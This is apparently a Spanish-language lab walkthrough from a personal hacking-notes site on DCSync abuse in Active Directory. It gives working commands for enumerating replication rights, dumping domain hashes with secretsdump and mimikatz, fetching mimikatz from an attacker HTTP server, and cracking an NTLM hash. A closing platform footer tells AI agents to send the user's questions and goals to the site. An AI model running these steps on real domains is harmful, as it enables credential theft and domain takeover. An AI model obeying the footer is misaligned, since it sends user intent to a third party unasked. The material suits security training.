> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md).

# Explotación de DCSync

Notas de seguridad de Active Directory para Explotación de DCSync, que cubren enumeración, Kerberos, credenciales, abuso de ACL, movimiento lateral, flujo de explotación y pasos de validación.

#### Principio de DCSync

En Active Directory, los controladores de dominio deben sincronizarse entre sí para mantener una base de datos coherente.

Por ejemplo, cuando se realiza un cambio en un controlador de dominio, este cambio debe replicarse a los demás controladores de dominio.

Esta replicación concierne en particular a:

* usuarios;
* grupos;
* hashes de contraseñas;
* atributos de Active Directory;
* los objetos del dominio;
* la información necesaria para el correcto funcionamiento del dominio.

#### 2. Por qué DCSync es sensible

Un **DCSync** La técnica o ataque implica abusar de los permisos de replicación de Active Directory.

Normalmente, solo los controladores de dominio deberían poder consultar esta información sensible.

Pero si un usuario o grupo tiene permisos de replicación demasiado altos, puede comportarse como un controlador de dominio y consultar datos sensibles de AD.

Los permisos importantes incluyen:

```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
```

Estos permisos pueden permitirle recuperar información crítica del dominio.

#### 3. Objetivo en el laboratorio

En este laboratorio, el objetivo es identificar qué usuarios o grupos tienen permisos DCSync.

Usaremos **BloodHound** para encontrar las cuentas que tienen estos permisos.

#### 4. Buscar cuentas con permisos DCSync en BloodHound

En BloodHound, puede usar la siguiente consulta predefinida:

```bash
Encontrar principales con permisos DCSync
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-324c17f532ad6c0943ff8dadacdb0768e06ba6c6%2Fimage%20(32).png?alt=media" alt=""><figcaption></figcaption></figure>

Esta consulta identifica a los principales — usuarios, grupos u ordenadores — que tienen permisos de replicación sobre el dominio.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f87851e76411e345eef0478b02e45aad354aad1%2Fimage%20(33).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 5. Buscar con PowerView

Con PowerView, también es posible identificar cuentas con estos permisos utilizando el siguiente comando:

{% code overflow="wrap" %}

```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="Name";expression={Convert-SidToName $_.SecurityIdentifier}}
```

{% endcode %}

Este comando muestra objetos con permisos relacionados con la replicación de Active Directory.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adf0a02f00616a1de5fef0c6bc27c50d04a214d3%2Fimage%20(34).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 6. Cambio de la contraseña de la cuenta objetivo

En el laboratorio, luego cambiamos la contraseña de la cuenta identificada para poder usarla para la explotación.

Contraseña utilizada:

```
Password1@
```

#### 7. Explotación remota con secretsdump

Luego puede usar `secretsdump.py` para usar permisos DCSync de forma remota:

{% code overflow="wrap" %}

```bash
secretsdump.py 'whoami.local/hyacinthe.maryrose:'Password1@'@172.16.0.100'
```

{% endcode %}

Esto permite recuperar información sensible accesible gracias a los permisos de replicación de la cuenta.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05d91edb4734defbe033937059aa5b09e6ae17d0%2Fimage%20(3278).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 8. Uso de Mimikatz en una máquina Windows

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

Luego descargamos Mimikatz como un `.zip` archivo comprimido y luego transferimos el ejecutable a la máquina Windows del laboratorio.

En la máquina atacante, iniciamos un servidor HTTP:

{% code overflow="wrap" %}

```wasm
python3 -m http.server 8000
```

{% endcode %}

Desde la máquina Windows, descargamos el ejecutable

{% code overflow="wrap" %}

```powershell
(New-Object System.NET.WebClient).DownloadFile('http://172.16.0.2:8000/mimikatz.exe', 'mimikatz.exe')
```

{% endcode %}

Luego lo ejecutamos:

{% code overflow="wrap" %}

```powershell
. ./mimikatz.exe
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e97cd7606aab63c9228f47f1cec16a986c4363b%2Fimage%20(3274).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 9. Recuperación del hash del administrador

Con Mimikatz, puede consultar la replicación de los secretos de un usuario específico, por ejemplo la cuenta de administrador:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /user:whoami/administrador
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b2bd12c98fc32e3f02a3883b5b811492fc72eac%2Fimage%20(3275).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 10. Recuperación de los hashes de todos los usuarios

También es posible consultar información de todos los usuarios del dominio:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /whoami:whoami.local /all /csv
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aa92ec9a1cfa496a6986185fb45a1acedc62f47e%2Fimage%20(3276).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 12. Preparación del hash para el cracking

Luego colocamos el hash recuperado en un archivo en un formato compatible con John the Ripper:

{% code overflow="wrap" %}

```bash
echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash
```

{% endcode %}

Luego iniciamos el cracking del hash NTLM:

{% code overflow="wrap" %}

```bash
john --format=NT admin.hash
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcab24bfbc58a151d4d184e27953aa66798873db%2Fimage%20(3279).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
